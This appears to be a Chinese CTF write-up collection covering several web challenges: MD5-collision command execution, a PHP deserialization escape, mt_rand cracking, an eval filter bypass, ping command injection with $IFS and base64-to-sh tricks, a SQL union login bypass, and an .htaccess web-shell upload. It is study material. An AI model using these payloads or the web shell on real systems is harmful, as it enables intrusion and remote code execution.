2019安洵杯
easy_web
知识点:MD5强碰撞,命令执行
这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码,来把图片读出,这样,我们把index.php也进行上述编码,传入img,成功读出img源码:
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
然后构造payload:
import requests
url='http://47.108.135.45:20166/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=ta\c%20/flag'
str5=open('./out_test_003.txt','rb').read()
str6=open('./out_test_001.txt','rb').read()
print str5
data= {
'a':str5,
'b':str6
}
res= requests.post(url=url,data=data)
print res.content
easy_serialize_php
知识点:变量覆盖,预包含,反序列化中的对象逃逸
直接给出源码:
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
执行phpinfo(),我们发现有预加载文件d0g3_f1ag.php,所以就读d0g3_f1ag.php。
发现函数extract($_POST)
很明显是个变量覆盖漏洞。再往下找,有file_get_contents
函数读取。但是我们发现这个变量被sha1函数加密了。没办法利用,但是,有serialize
和unserialize
函数,并且中间有一层过滤,把匹配到的字符替换成空。
注意:任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。
function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
这里我令_SESSION[user]为flagflagflagflagflagflag,正常情况下序列化后的数据是这样的:
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
而经过了过滤函数之后,序列化的数据就会变成这样:
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
可以看到,user的内容长度依旧为24,但是已经没有内容了,所以反序列化时会自动往后读取24位:";s:8:"function";s:59:"a
然后会读取到的位置,s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
然后结束,由于user的序列化内容读取数据时需要往后填充24位,导致后面function的内容也发生了改变,吞掉了其双引号,导致我们可以控制后面的序列化内容。
而php反序列化时,当一整段内容反序列化结束后,后面的非法字符将会被忽略,而如何判断是否结束呢,可以看到,前面有一个a:3,表示序列化的内容是一个数组,有三个键,而以{作为序列化内容的起点,}作为序列化内容的终点。
所以此时后面的";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
在反序列化时就会被当作非法字符忽略掉,导致我们可以控制$userinfo[“img”]的值,达到任意文件读取的效果。
在读取完d0g3_f1ag.php
后,得到下一个hint,获取到flag文件名,此时修改payload读根目录下的flag即可。
2019广东外语外贸大学第三届网络安全大赛
枯燥的抽奖
知识点:php伪随机数
进入check.php给出了源码:
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
这里用到了php_mt_rand
,这里的坑点是php版本问题。php7和php5不太一样。
给出payload:
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='7bwSK3x5Sg'
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print res
参考链接:https://xz.aliyun.com/t/3656
我有一个数据库
知识点:phpmyadmin4.8.1漏洞
题目给了一个phpinfo.php,和phpmyadmin
存在本地任意文件包含漏洞
参考:https://www.cnblogs.com/bmjoker/p/9897436.html
成功getshell。
最让我不能忍的是他flag就在根目录flag,内容是flag{123456789},这竟然是真flag。。。根本不用getshell。浪费好多时间,我**.
现在在做buuctf,碰见当时做过的题目,这里来写写总结,记录下来。
禁止套娃
知识点:git泄露,rce
发现git泄露,代码审计。
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
这个题以前见过,也总结过。先说一种方法吧:
localeconv() 函数返回一包含本地数字及货币格式信息的数组,结合pos
或者current
能得到.,也就是当前目录,然后再加上scandir就能获取当前目录的所有的文件,输出出来可以得到当前文件夹下的内容。
然后观察flag.php的位置,发现它在倒数第二位,可以用array_reverse
逆转数组,然后用next函数读第二个元素,这样我们就可以读flag.php。
故payload:
readfile(next(array_reverse(scandir(pos(localeconv())))));
方法二:
思路大多都相同,就是获取当前目录的方式不同。
首先,通过phpversion()函数获取当前php的版本号,然后通过crypt()函数加密得到一串字符串,即任意字符,然后通过hebrevc()或hebrev()来处理一下,我们会发现,它的首字母可能是$或.,然后通过ord()函数,然后通过chr()函数,可能得到.。然后剩下的就和方法一一样了。这里我在看别人的writeup时后,突然发现,highlight_file
函数,也可以显示文件啊。
payload:
readfile(next(array_reverse(scandir(chr(ord(hebrevc(crypt(phpversion()))))))));
ping ping ping
知识点:命令执行
让你传ip,然后去执行ping 你的ip。通常用|
或;
或&
。来添加你要执行的命令。构造127.0.0.1|ls
。ls成功执行。并发现flag.php。然后就是读flag了。经过测试,过滤了空格和flag关键字,也过滤了?*
等通配符,这里介绍几种绕过方式。空格都知道用$IFS$9
来绕过,但是flag关键字如何绕呢?
这里我先直接给出过滤的源码,然后再详细介绍三种方法。
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
方法一:
因为ls命令直接可以直接获得flag.php文件名,所以我们可以直接构造
payload:
127.0.0.1|cat$IFS$9`ls`
方法二:
仔细观察过滤,我们发现不能输入同时按照flag字母顺序的字符串,
我们可以使用调用linux环境变量的方法去拼接字符串。先输出$PATH
:
127.0.0.1|echo$IFS$9$PATH
得到:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
里面含有我们要的l和a用cut截取出来去替换他们即可:
127.0.0.1|echo$IFS$9$PATH|cut$IFS$9-c6
得到
l
然后构造payload:
127.0.0.1|cat$IFS$9f`echo$IFS$9$PATH|cut$IFS$9-c6`ag.php
方法三:
利用管道符+base64 编码 即可绕过
首先,通过base64编码把执行的命令cat flag.php
编码一下得到Y2F0IGZsYWcucGhw
,然后通过base64 -d
解码,得到命令再用bash或用sh来执行就行。
payload:
127.0.0.1|echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
BabySQli
知识点:联合注入绕过登陆
这个题过滤了括号和or,想注出数据有点困难,但是测试发现可以报错,也可以联合注入。这里利用union自行构造一个密码,通常数据库的信息都是MD5加密的数据,所以我们可以把我们输入的密码,进行MD5加密。用联合注入,使查询数据的时候,查出我们想要的数据。
sql语句是:select * from user where username = '$name'
。
利用union后:select * from user where username ='-1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#'
我们就可以查询出,密码是为1,用户名叫admin的一个用户。(1的MD5值为c4ca4238a0b923820dcc509a6f75849b)。所以我们的payload:
name=0' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
BabysqliV3.0
知识点:弱口令,文件包含,文件上传
首先,这个题绝对是个出题事故。来说说解法。
题目说是绝对防御,那就是弱口令了。爆出密码:password.登陆上之后,来看看题,文件上传,发现参数?file=upload,直接php://filter/read=convert.base64-encode/resource=
读源码,得到源码:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>
开始审计代码,仔细看Uploader类的构造函数。发现正则表达式写的有问题(),上传得到的文件名完全可控。直接上传php文件。就getshell了???flag拿的一脸懵逼。
正常做法应该是上传phar文件,进行反序列化执行命令。这里就不再具体写了。
babyupload
解题思路
上传.htaccess
SetHandler application/x-httpd-php
然后上传1.png,然后burp发包去不断请求,然后蚁剑链接shell查看根目录拿到shell
<script language="php">echo md5(123);eval($_POST['a']);</script>
StrongestMind
知识点:编程
我的垃圾脚本:
#coding=utf-8
from requests import *
import re
import time
s = session()
a = s.get("http://46303d3c-2a4f-4ecc-9fbc-d047453ec7cb.node3.buuoj.cn/index.php")
for i in range(10000):
pattern = re.findall(r'\d+.[+-].\d+', a.text)
print pattern
if pattern==[]:
time.sleep(2)
a = s.post("http://46303d3c-2a4f-4ecc-9fbc-d047453ec7cb.node3.buuoj.cn/index.php", data = {"answer" : c})
pattern = re.findall(r'\d+.[+-].\d+', a.text)
print pattern
c = eval(pattern[0])
a = s.post("http://46303d3c-2a4f-4ecc-9fbc-d047453ec7cb.node3.buuoj.cn/index.php", data = {"answer" : c})
if 'flag{' in a.text:
print a.text
exit()
总结
这个学期的ctf生涯算是差不多结束了。虽然没有啥好的成绩,但是我能感觉的到,自己有一定的进步。虽然自己还是很菜,但是我相信只要我继续努力,一定会越来越强。定个小目标。寒假在没有网络安全工作的情况下,看一本关于网络基础知识的书。。。(恶补基础-_-)。加油,奥里给!!!